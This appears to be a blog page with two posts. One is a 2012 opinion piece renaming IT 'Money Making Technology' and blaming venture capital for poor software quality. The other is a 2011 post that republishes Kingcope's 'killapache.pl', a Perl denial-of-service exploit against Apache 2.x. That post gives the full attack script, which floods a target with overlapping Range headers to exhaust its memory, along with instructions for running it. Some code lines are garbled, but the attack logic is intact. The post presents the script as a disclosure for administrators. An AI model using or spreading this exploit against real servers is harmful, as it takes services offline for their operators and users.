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Money Making Technology

May 20, 2012
Americas, English, Europe, Futurism, IT, News and Opinion, Opinion, Politics, Programming, Western Europe
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I will coin a new term for IT, Information Technology – Money Making Technology.

So IT becomes MMT.

The whole of IT jumped from information, to cowboys trying to make the most money in the less time possible, it basically became the synthesis of ultra-capitalism; because the ultra-capitalists took over it is not Information Technology anymore, it is Money Making Technology. A vital and integral part of any Corporatocrat system.

A corporatocracy is a situation in which corporate bodies interact with sovereign power in an unhealthy alignment between business and political power. In a corporatocracy an elite upper-class, maintains ties between business and government, sometimes by lobbying efforts or funding political advertising campaigns, or providing bailouts when corporations are seen as too big to fail, for the purpose of controlling government and dictating policy to serve its financial interests.

Most FOSS/FLOSS projects are trying to push in the wrong direction anyway, a copy of an ultra-capitalist venture is just that really, a copy of an ultra-capitalist venture.

  1. Free and open-source software (F/OSS, FOSS) or free/libre/open-source software (FLOSS) is software that is both free software and open source. It is liberally licensed to grant users the right to use, copy, study, change, and improve its design through the availability of its source code. This approach has gained both momentum and acceptance as the potential benefits have been increasingly recognized by both individuals and corporations.

If IT is ever to become what it originally stands for, Information, it will need to think outside the box, and think about flow of information with no money involved, while prioritizing quality over time to deliver.

In commerce, time to market (TTM) is the length of time it takes from a product being conceived until its being available for sale. TTM is important in industries where products are outmoded quickly. A common assumption is that TTM matters most for first-of-a-kind products, but actually the leader often has the luxury of time, while the clock is clearly running for the followers.

The excuse that capital, vast amounts of money, is what made IT‘s evolution is far from valid.

Visual is primarily marketing, and marketing is nothing more than people trying to convince other people to depart with their money.

If it was not for the visual, there would be no need for the expensive hardware we are forced to use today. Maybe for a server, but not for the personal hardware millions of people in private, public and personal spaces buy and upgrade as often as a “superior” version is released to the market.

And the quality would be improved as result, as software developers would have to use skill to fit the more in the less space, as they did back in the 70s, 80s and 90s, before the venture capitalists took the technology over and imposed the practice of throwing anything together in the shortest of the time,  make it look good and/or like it does or could do something, in order to collect the most money in the shortest time (ie. while they still can, while the word is not out that it is nothing but marketed crap), and then depart to the next venture, no  bother who is still having to (in most cases, daily) use that half put together buggy piece of software; or the damages incurring from the same.

The new version or new product will “always be better”, creating a false sense of evolution, a sense that simply shadows the fact that, in the end of the day, all they are doing is their best at selling marketed crap to get the biggest volume of people as possible to depart from their hard owned money.

Apache (web server) killer

August 24, 2011
English, Programming
2 Comments

Republishing, as a matter of interest to System Administrators, an exploit made public by Kingcope on saturday, august 20 2011; This exploit will result in swapping memory to filesystem on the remote side, plus killing of processes when running out of swap space, with the remote system becoming unstable.

This exploit has been tested by members of Full Disclosure against Apache 2.x, and is reported to work. There are no patches for the exploit at the moment, other than a series of untested mod rewrite rules.

It works by exploiting Apache’s weak Range handling, making the server allocate memory that is never used nor freed, until the system becomes unstable.

Code, in Perl, is as follows; Copy, paste, save as “killapache.pl”, and run with “perl killapache.pl [host] [numforks]“, to test your own web server(s).

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}

for ($k=0;$kstart and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while() {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = ;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}

if ($#ARGV 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}

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